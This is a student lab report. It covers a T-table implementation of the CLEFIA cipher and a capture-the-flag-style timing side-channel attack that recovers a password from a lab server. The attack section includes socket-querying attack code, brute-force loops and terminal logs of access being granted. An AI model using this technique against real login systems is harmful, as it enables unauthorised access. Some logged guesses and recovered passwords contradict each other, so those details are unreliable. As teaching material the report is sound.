

CS6630 Lab1

Dharma Teja CS23B046

February 2026

1 Question 1:T-Table Based Implementation of CLEFIA

1.1 Implementation Details

The CLEFIA block cipher consists of two major components: the key scheduling phase and the data processing phase. The data processing phase includes the encryption and decryption routines, implemented through the functions **encrypt** and **decrypt**. The overall workflow of the algorithm can be summarized as follows:

1. Perform key scheduling to generate the whitening keys and round keys.
2. Process each data block using the encryption or decryption function.

In the reference implementation, the round functions F_0 and F_1 are computed using explicit substitution through S-boxes followed by matrix-based diffusion involving finite field multiplications. In the optimized implementation, these computations are replaced by lookup operations using precomputed T-tables, thereby reducing runtime overhead.

1.2 Structure of F_0 and F_1 Functions

Let (x_0, x_1, x_2, x_3) denote the input bytes to the F_0 function and (y_0, y_1, y_2, y_3) denote its output. Similarly, (x_4, x_5, x_6, x_7) and (y_4, y_5, y_6, y_7) represent the input and output of the F_1 function.

The transformations can be expressed as matrix multiplications over $\text{GF}(2^8)$ applied to the substituted bytes:

$$F_0 : \begin{pmatrix} y_0 \\ y_1 \\ y_2 \\ y_3 \end{pmatrix} = \begin{pmatrix} 01 & 02 & 04 & 06 \\ 02 & 01 & 06 & 04 \\ 04 & 06 & 01 & 02 \\ 06 & 04 & 02 & 01 \end{pmatrix} \begin{pmatrix} S_0(x_0) \\ S_1(x_1) \\ S_0(x_2) \\ S_1(x_3) \end{pmatrix}$$

$$F_1 : \begin{pmatrix} y_4 \\ y_5 \\ y_6 \\ y_7 \end{pmatrix} = \begin{pmatrix} 01 & 08 & 02 & 0A \\ 08 & 01 & 0A & 02 \\ 02 & 0A & 01 & 08 \\ 0A & 02 & 08 & 01 \end{pmatrix} \begin{pmatrix} S_0(x_4) \\ S_1(x_5) \\ S_0(x_6) \\ S_1(x_7) \end{pmatrix}$$

where S_0 and S_1 denote the two substitution boxes used in CLEFIA.

1.3 T-Table Optimization

To improve efficiency, the substitution and diffusion steps are combined into precomputed lookup tables. Each table takes an 8-bit input and produces a 32-bit output that represents the contribution of one byte to the final result after substitution and diffusion.

Since the input size is 8 bits, each table contains $2^8 = 256$ entries. A total of eight tables are required:

- $T0_F0, T1_F0, T2_F0, T3_F0$
- $T0_F1, T1_F1, T2_F1, T3_F1$

These tables store the multiplication results of S-box outputs with the corresponding constants from the diffusion matrices.

1.4 Computation Using Lookup Tables

Using the precomputed tables, the outputs of the round functions can be computed efficiently using XOR operations:

$$(y_3, y_2, y_1, y_0) = T0_F0(x_0) \oplus T1_F0(x_1) \oplus T2_F0(x_2) \oplus T3_F0(x_3)$$

$$(y_7, y_6, y_5, y_4) = T0_F1(x_4) \oplus T1_F1(x_5) \oplus T2_F1(x_6) \oplus T3_F1(x_7)$$

This approach eliminates repeated finite field multiplications during runtime, significantly improving performance.

1.5 Integration with Encryption and Decryption

The remaining components of the CLEFIA algorithm, including:

- Generalized Feistel Network (GFN)
- Key scheduling
- Whitening steps

were kept unchanged from the reference implementation. Only the internal computation of the F-functions was replaced with the T-table based approach.

1.6 Build and Execution

A Makefile was created to simplify compilation and execution of the CLEFIA implementation. The Makefile compiles all required source files including the T-table implementation.

The `make` command compiles the program and generates the executable file `clefia`. The executable can then be run using `./clefia`.

1.7 Advantages

The T-table implementation provides the following benefits:

- Reduced computational complexity during rounds
- Elimination of repeated finite field multiplications
- Faster encryption and decryption execution

This optimization is commonly used in block cipher implementations where performance is critical.

2 Question 2: Timing Side-Channel Attack on Password Checker

2.1 Understanding the Hash Function

The password hashing algorithm operates on a fixed length of 19 characters using padding:

```
password = password.ljust(19, "=")[0:19]
```

The hash is computed using a substitution function and a permutation:

```
[ hash[i] = substitution(password[(7i + 4) mod 19])]
```

Thus, each hash position depends on a permuted index of the password.

2.2 Timing Side Channel

The password checker compares the computed hash with the stored hash character-by-character:

```
for i in range(len(flag)):
    time.sleep(1)
    if(flag_hash[i] != hash[i]):
        return False
```

Each comparison introduces a 1-second delay. Therefore, the execution time reveals how many prefix characters of the hash match the stored hash.

This allows an attacker to recover the password hash incrementally.

2.3 Important Observations

Several key observations were made:

1. The stored flag length is 16 characters.
2. Although hashing uses length 19, only the first 16 hash characters are verified.
3. Therefore, hash indices 16, 17, 18 are never checked.
4. These correspond to password indices:

“

$$(7i + 4) \bmod 19$$

which evaluate to:

$$\{2, 9, 16\}$$

Hence, password characters at indices 2, 9, and 16 do not affect verification.

5. Padding rules:

- If password length ≥ 18 , index 17 must be '='.
- If password length ≥ 19 , index 18 must be '='.

“

Thus, multiple passwords can produce the same valid hash.

2.4 Recovered Password

The stored password was determined to be:

```
ia*{_}the*_{}flag*==
```

The '*' positions correspond to indices:

[2, 9, 16]

These positions can contain any character without affecting authentication.

2.5 Valid Password Variants (Hash Collisions)

Since indices 2, 9, and 16 are unused in verification, multiple passwords produce the same hash. Also we can have passwords of length 16, 17, 18 and more than 19. Example valid passwords include:

```

iam{ }the{ }flag===
ias{ }them{ }flag
iat{ }thef{ }flage
iad{ }thee{ }flagf=
iaq{ }thet{ }flagg==s

```

All of these produce the same hash and are accepted by the system.

2.6 Socket Communication Implementation

```

def query_server(ip, port, guess, position):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, int(port)))

    sock.sendall(guess.encode())
    sock.shutdown(socket.SHUT_WR)

    while True:
        data = sock.recv(4096)
        if not data:
            break

        msg = data.decode("UTF-8")

        if "=" in msg:
            elapsed = float(msg.strip().split("=")[1])
            if math.floor(elapsed) > position + 1:
                sock.close()
                return True

    sock.close()
    return False

```

This function establishes a TCP socket connection with the remote challenge server and sends a candidate password. The server response contains the verification time, which corresponds to the number of matching hash characters. By comparing the observed time with the expected prefix length, the function determines whether the current guess increases the number of matched characters. This enables incremental recovery of the password.

2.7 Main Timing Attack Algorithm

```

for hpos in range(0, 15):
    target_index = mapping[hpos]

    for ch in charset:
        trial = recovered.copy()
        trial[target_index] = ch

```

```

        candidate = "".join(trial)

        if query_server(HOST, PORT, candidate, hpos):
            recovered[target_index] = ch
            print(f"[+] Position {target_index} discovered: {ch}")
            break

    print("Current guess:", "".join(recovered))

```

The main attack algorithm reconstructs the password one position at a time. For each hash index, the corresponding password index is computed using the permutation relation $(7i + 4) \bmod 19$. All possible characters are tested at that position while keeping previously discovered characters fixed. If the observed runtime increases, the character is identified as correct and stored. This process continues until all recoverable positions are determined.

2.8 Recovering the Final Character

```

last_pos = 15
target_index = mapping[last_pos]
for ch in charset:
    trial = recovered.copy()
    trial[target_index] = ch
    candidate = "".join(trial)

    if check_final(HOST, PORT, candidate):
        recovered[target_index] = ch
        print(f"[+] Final character found: {ch}")
        break

```

For the last verified position, timing differences were indistinguishable. Therefore, brute force was performed by checking for the "Access Granted" response.

2.9 Conclusion

Despite hashing being used as a countermeasure, the system remained vulnerable to timing side-channel attacks due to early exit behavior. By exploiting runtime differences, the stored password was successfully recovered along with multiple collision passwords.

```

Sat 21 Feb - 00:57 ~/cs6630/lab1
python q2.py
Starting timing attack...

[+] Position 4 discovered: _
Current guess: ==_=====
[+] Position 14 discovered: }
Current guess: ==_}=====
[+] Position 18 discovered: =
Current guess: ==_}=====
[+] Position 6 discovered: t
Current guess: ==_t=====
[+] Position 13 discovered: l
Current guess: ==_t=====l=====
[+] Position 1 discovered: a
Current guess: ==_t=====l=====
[+] Position 8 discovered: e
Current guess: ==_t=====le=====
[+] Position 15 discovered: g
Current guess: ==_t=====leg=====
[+] Position 3 discovered: {
Current guess: ==_t=====leg=====
[+] Position 10 discovered: _
Current guess: ==_t=====leg=====
[+] Position 17 discovered: =
Current guess: ==_t=====leg=====
[+] Position 5 discovered: }
Current guess: ==_t=====leg=====
[+] Position 12 discovered: f
Current guess: ==_t=====leg=====
[+] Position 9 discovered: i
Current guess: ==_t=====leg=====
[+] Position 7 discovered: h
Current guess: ==_t=====leg=====
[+] Final character found: a
Recovered password: ia={}_thes}_flag==

```

Figure 1: Timing attack execution

```

Sat 21 Feb - 00:11 ~/cs6630/lab1
nc 10.21.235.18 5555
Enter the password:
ia={}_thes}_flag==
Access Granted
Time taken to verify = 16.002161050972063
^C

X Sat 21 Feb - 00:21 ~/cs6630/lab1
nc 10.21.235.18 5555
Enter the password:
ias{}_them}_flag=
Access Granted
Time taken to verify = 16.002728533989284
^C

X Sat 21 Feb - 00:21 ~/cs6630/lab1
nc 10.21.235.18 5555
Enter the password:
iat{}_thef}_flage
Access Granted
Time taken to verify = 16.002285276947077
^C

X Sat 21 Feb - 00:22 ~/cs6630/lab1
nc 10.21.235.18 5555
Enter the password:
iad{}_thee}_flagf=
Access Granted
Time taken to verify = 16.001894663029816
^C

X Sat 21 Feb - 00:23 ~/cs6630/lab1
nc 10.21.235.18 5555
Enter the password:
iaq{}_thet}_flagg=s
Access Granted
Time taken to verify = 16.002274433034472

```

Figure 2: Successful password verification